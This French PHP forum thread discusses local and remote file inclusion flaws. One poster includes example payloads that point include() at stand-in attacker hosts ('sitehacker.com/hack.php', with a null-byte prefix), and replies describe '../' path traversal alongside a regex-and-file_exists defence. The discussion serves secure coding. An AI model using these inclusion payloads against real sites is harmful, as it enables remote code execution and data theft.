IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

Faille Include


Sujet :

Langage PHP

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre éclairé
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Par défaut Faille Include
    Bonjour Bonjour

    J'ai un petit soucis. enfin pour être exact, c'est un problème de compréhension.

    Imaginons tout d'abbord ce bout de code:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    <?php include($page.".php");?>
    Tout le monde serra d'accord pour dire qu'exploiter ce genre de faille est dans le simplissime (par exemple $page = http://server.com/hack/test.txt?)
    mais si on prends plus "compliqué":
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    include("dossier1/dossier2/".$page.".php")
    Bon, ok!
    On peut déjà en tirer pas mal de chose, fichier de conf du serveur ou page senssible. Mais il est pas possible de faire, comme dans le premier exemple, un exploit par un serveur externe ?
    Ou y a t'il un caractère nul qui permet de ne pas prendre en compte ce qu'il y a avant la variable ?
    ce point de détails me traumatise dans la sécurisation de mes scripts ^^

    Edit: Ah oui! pour ceux qui ne voudrais pas répondre par-ce que ça fais techniquement partit du hacking, je voudrais juste savoir si c'est possible ou non, un exemple d'exploit m'aiderais a comprendre comment, mais ce n'est pas le plus important

  2. #2
    Membre chevronné
    Profil pro
    Développeur informatique
    Inscrit en
    Décembre 2008
    Messages
    504
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : Développeur informatique

    Informations forums :
    Inscription : Décembre 2008
    Messages : 504
    Par défaut
    bhé déjà, t'es pas l'abri des '../../' qui permettront à ton hacker de remonter ton arborescence.

    Ensuite, c'est bien simple, il ne faut JAMAIS faire ça sans une procédure de contrôle, sous aucun pretexte que ça soit !!!

    Alors si vraiment y'a aucun moyen de faire un switch case, tu peux néanmoins faire des vérifications sur le nom du fichier passer en paramètre avec un preg_match associé à un file_exists() pour s'assurer que le fichier existe.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    if(preg_match("#^[0-9A-Za-z_\-]+$#is", $fichier, $res) && file_exists('/.../'.$fichier.'.php'))
        include('/.../'.$fichier.'.php');
    tu aura au moins vérifier de la sorte qu'il n'y a pas de caracteres cheloux comme des . des : des / ou des \ dans le nom du fichier et tu auras vérifier l'existance du fichier.

  3. #3
    Membre éclairé
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Par défaut
    Bah oui ça je sais, je l'ai dis d'ailleurs ^^
    Bon, ok!
    On peut déjà en tirer pas mal de chose, fichier de conf du serveur ou page senssible.
    mais c'est pas ce que je demandais

    Je voulais savoir si, avec un dossier "obligatoire" avant l'include ( include('dossier/'.$var); ) une exploitation par un serveur distant étais possible, genre:
    $var = "%00http://sitehacker.com/hack.php";

    comme par exemple il est possible de passé outre l'extension obligatoire ( include($var.'.php')) avec un simple caractère null

  4. #4
    Rédacteur
    Avatar de Halleck
    Homme Profil pro
    Consultant PHP
    Inscrit en
    Mars 2003
    Messages
    597
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 39
    Localisation : France, Loiret (Centre)

    Informations professionnelles :
    Activité : Consultant PHP

    Informations forums :
    Inscription : Mars 2003
    Messages : 597
    Par défaut
    1. Le dossier précis :

    si le "hacker" inclue son fichier et que tu as precisé un dossier spécifique, il y aura un warning (sauf si tu as desactivé les erreurs / warnings). Dans ce warning, il y aura marqué le chemin complet qui a été appelé.

    Donc il n'y aura plus qu'à lire cette erreur, modifier l'appel en ajoutant autant de '../' qu'il le faudra

    => conclusion, non, ça change rien côté vulnérabilité.

    2. l'extension :
    D'ajouter systématiquement un .php ne change strictement rien. Outre qu'il semble bien que oui, on peut passer outre, une extension ne représente pas grand chose en soit, un fichier javascript, une image... peut très bien avoir l'extension php.

    A voir si d'autres sont d'accord avec moi

Discussions similaires

  1. [PHP 5.4] Question sur la faille include()
    Par beegees dans le forum Langage
    Réponses: 4
    Dernier message: 14/08/2013, 11h45
  2. Réponses: 12
    Dernier message: 16/03/2011, 07h56
  3. [Sécurité] La faille include
    Par adeltimple dans le forum Langage
    Réponses: 18
    Dernier message: 26/05/2008, 23h43
  4. INCLUDE non exécuté
    Par Sadneth dans le forum ASP
    Réponses: 3
    Dernier message: 07/09/2003, 01h44
  5. #include "math.h" et #include <math.h>
    Par pounka dans le forum C
    Réponses: 4
    Dernier message: 01/05/2003, 22h06

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo